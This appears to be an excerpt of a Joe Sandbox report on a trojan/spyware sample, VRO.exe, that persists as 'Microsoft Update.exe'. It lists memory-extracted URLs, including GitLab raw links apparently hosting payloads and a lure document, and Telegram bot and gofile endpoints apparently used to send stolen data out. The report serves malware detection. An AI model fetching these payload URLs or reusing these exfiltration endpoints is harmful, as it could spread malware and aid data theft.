https://github.com/mono/linker/pull/2125.	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/mono/linker/issues/1895vUsing	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp	false	high
https://gitlab.com/-/sandbox/;	Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://gitlab.com/hko247.black/libs/-/raw/da36e8916e710628358afbbd35fc9d73b2fd41c2/e_sqlite3.dll?in	VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000002.2935402785.000001D4CD851000.00000004.00001000.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.chambersign.org1	msedge.exe, 0000000C.00000002.2864046044.00004D4400058000.00000004.00000800.00020000.00000000.sdmp	false	high
https://snowplow.trx.gitlab.net	Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://system.data.sqlite.org/X	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.newtonsoft.com/json	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://collector.prd-278964.gl-product-analytics.com	Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ip-api.com/json/y	VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://gitlab.com/o	Microsoft Update.exe, 0000000E.00000003.3231968820.000001B47B130000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3545297452.000001B47B11F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://gitlab.com	Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/dotnet/runtime	Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47D14F000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp, svchost.dll.0.dr	false	high
https://gitlab.com/hko247.black/truong/-/raw/main/svchost.hko?inline=false	VRO.exe, 00000000.00000002.2934265889.000001D4C4CBC000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3545297452.000001B47B0EC000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.ipify.org	Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY	VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ip-api.com:80/	VRO.exe, 00000000.00000002.2935402785.000001D4CD9D9000.00000004.00001000.00020000.00000000.sdmp, VRO.exe, 00000000.00000002.2935402785.000001D4CD9C5000.00000004.00001000.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid	Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp	false	high
https://aka.ms/dotnet-warnings/	Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp, svchost.dll.0.dr	false	high
https://github.com/dotnet/efcore	VRO.exe, 00000000.00000003.2930262522.000001D4C6D22000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47D14F000.00000004.00000020.00020000.00000000.sdmp, svchost.dll.0.dr	false	high
https://gitlab.com/assets/	Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ip-api.com/json/	Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp	false	high
https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_env	Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	false	high
http://gitlab.com:443/	VRO.exe, 00000000.00000002.2935402785.000001D4CD851000.00000004.00001000.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/wsdl/i	VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://aka.ms/nativeaot-compatibility	Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ip-api.com/json/8.46.123.189	VRO.exe, 00000000.00000002.2935402785.000001D4CD9D9000.00000004.00001000.00020000.00000000.sdmp, VRO.exe, 00000000.00000002.2935402785.000001D4CD9C5000.00000004.00001000.00020000.00000000.sdmp	false	high
https://aka.ms/serializationformat-binary-obsolete	Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://aka.ms/binaryformatter	svchost.dll.0.dr	false	high
https://gitlab.com/app8490744/updatesa/-/raw/main/Your_Benefits_and_Role.docx?inline=false	VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://apis.google.com	Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/boti	VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://gitlab.com/P	VRO.exe, 00000000.00000003.1861634341.000001D4C4CF0000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://sentry.gitlab.net	Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/ericsink/SQLitePCL.rawd	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://api.ipify.org:443/	VRO.exe, 00000000.00000002.2935402785.000001D4CD95B000.00000004.00001000.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/soap/encoding/Y	VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/JamesNK/Newtonsoft.Json	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.recaptcha.net/	Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/soap/encoding/	Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name(DefaultRoleClaimTypexhttp://schemas.micro	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.gofile.io/servers	Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp	false	high
https://api.gofile.io/serversY	VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/icsharpcode/SharpZipLib	VRO.exe, 00000000.00000003.2930262522.000001D4C6D22000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47D14F000.00000004.00000020.00020000.00000000.sdmp, svchost.dll.0.dr	false	high
https://github.com/mono/linker/issues/1416.	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://aka.ms/nativeaot-compatibilityy	VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://new-sentry.gitlab.net	Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/ericsink/SQLitePCL.rawX	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://aka.ms/dotnet-illink/com	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://gitlab.com/	VRO.exe, 00000000.00000003.2609014961.000001D4C4D04000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.1861634341.000001D4C4D04000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2859504250.000001D4C4D04000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3545297452.000001B47B19C000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000003.3231968820.000001B47B11F000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000003.3245081631.000001B47B19C000.00000004.00000020.00020000.00000000.sdmp	false	high
http://james.newtonking.com/projects/json	Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/mono/linker/issues/1981	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.m	VRO.exe, 00000000.00000003.2889529783.000001D4C4D04000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2890827152.000001D4C4D04000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000002.2934352732.000001D4C4D04000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2933600145.000001D4C4D04000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2890389550.000001D4C4D04000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.catcert.net/verarrel	msedge.exe, 00000009.00000002.2612978854.00001460000E0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000002.2864237994.00004D44000D0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://urn.to/r/sds_see23https://urn.to/r/sds_see1UInnerVerify	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://gitlab.com/-/sandbox/	Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://gitlab.com/admin/	Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://customers.gitlab.com	Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/mono/linker/issues/1906.	Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://gitlab.com/-/speedscope/index.html	Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/wsdl/	Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp	false	high
https://aka.ms/nativeaot-compatibilityY	Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/recaptcha/	Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.newtonsoft.com/jsonschema	Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://sourcegraph.com	Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/dotnet/linker/issues/2715.	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/dotnet/runtime/issues/50820	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://aka.ms/GlobalizationInvariantMode	VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/ericsink/SQLitePCL.raw	Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47D14F000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp, svchost.dll.0.dr	false	high
https://www.nuget.org/packages/Newtonsoft.Json.Bson	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://gitlab.com:443/hko247.black/truong/-/raw/main/svchost.hko?inline=false%06%06%06%06%06%06	VRO.exe, 00000000.00000003.1861634341.000001D4C4CE8000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000003.3231968820.000001B47B117000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.ipify.orgY	VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://urn.to/r/sds_see12https://urn.to/r/sds_see2	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://system.data.sqlite.org/	Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.sqlite.org/rescode.html	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/mono/linker/issues/1187	VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
172.65.251.78	gitlab.com	United States	13335	CLOUDFLARENETUS	false
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590666
Start date and time:	2025-01-14 13:27:44 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	VRO.exe
Detection:	MAL
Classification:	mal92.troj.adwa.spyw.winEXE@38/11@3/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 2.23.242.162, 13.107.253.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:30:44	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	ip-api.com/json/8.46.123.189
	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	ip-api.com/json/8.46.123.189
	iTVsz8WAu4.exe	Get hash	malicious	Unknown	Browse	ip-api.com/json/8.46.123.189
	HLi4q5WAh3.exe	Get hash	malicious	Unknown	Browse	ip-api.com/json/8.46.123.189
	e0691gXIKs.exe	Get hash	malicious	Unknown	Browse	ip-api.com/json/8.46.123.189
	hJ1bl8p7dJ.exe	Get hash	malicious	Unknown	Browse	ip-api.com/json/8.46.123.189
	Y4TyDwQzbE.exe	Get hash	malicious	Unknown	Browse	ip-api.com/json/8.46.123.189
	DYv2ldz5xT.exe	Get hash	malicious	Unknown	Browse	ip-api.com/json/8.46.123.189
	rBFTGm5ioO.exe	Get hash	malicious	Unknown	Browse	ip-api.com/json/8.46.123.189
172.65.251.78	build_setup.exe	Get hash	malicious	Vidar	Browse	gitlab.com/greg201/ppi3/-/raw/main/Setup.exe?inline=false

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gitlab.com	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	172.65.251.78
	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	172.65.251.78
	iTVsz8WAu4.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	HLi4q5WAh3.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	e0691gXIKs.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	hJ1bl8p7dJ.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	Y4TyDwQzbE.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	DYv2ldz5xT.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	rBFTGm5ioO.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
ip-api.com	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	208.95.112.1
	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	208.95.112.1
	iTVsz8WAu4.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	HLi4q5WAh3.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	e0691gXIKs.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	hJ1bl8p7dJ.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	Y4TyDwQzbE.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	DYv2ldz5xT.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	rBFTGm5ioO.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
api.ipify.org	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	104.26.13.205
	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	172.67.74.152
	iTVsz8WAu4.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	HLi4q5WAh3.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	e0691gXIKs.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	hJ1bl8p7dJ.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	Y4TyDwQzbE.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	DYv2ldz5xT.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	rBFTGm5ioO.exe	Get hash	malicious	Unknown	Browse	104.26.13.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	104.26.13.205
	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	172.67.74.152
	iTVsz8WAu4.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	HLi4q5WAh3.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	e0691gXIKs.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	hJ1bl8p7dJ.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	Y4TyDwQzbE.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	DYv2ldz5xT.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	rBFTGm5ioO.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
TUT-ASUS	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	208.95.112.1
	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	208.95.112.1
	iTVsz8WAu4.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	HLi4q5WAh3.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	e0691gXIKs.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	hJ1bl8p7dJ.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	Y4TyDwQzbE.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	DYv2ldz5xT.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	rBFTGm5ioO.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
CLOUDFLARENETUS	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	104.26.13.205
	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	172.67.74.152
	iTVsz8WAu4.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	HLi4q5WAh3.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	e0691gXIKs.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	hJ1bl8p7dJ.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	Y4TyDwQzbE.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	DYv2ldz5xT.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	rBFTGm5ioO.exe	Get hash	malicious	Unknown	Browse	104.26.13.205

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	172.65.251.78 172.67.74.152
	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	172.65.251.78 172.67.74.152
	iTVsz8WAu4.exe	Get hash	malicious	Unknown	Browse	172.65.251.78 172.67.74.152
	HLi4q5WAh3.exe	Get hash	malicious	Unknown	Browse	172.65.251.78 172.67.74.152
	e0691gXIKs.exe	Get hash	malicious	Unknown	Browse	172.65.251.78 172.67.74.152
	hJ1bl8p7dJ.exe	Get hash	malicious	Unknown	Browse	172.65.251.78 172.67.74.152
	Y4TyDwQzbE.exe	Get hash	malicious	Unknown	Browse	172.65.251.78 172.67.74.152
	DYv2ldz5xT.exe	Get hash	malicious	Unknown	Browse	172.65.251.78 172.67.74.152
	rBFTGm5ioO.exe	Get hash	malicious	Unknown	Browse	172.65.251.78 172.67.74.152
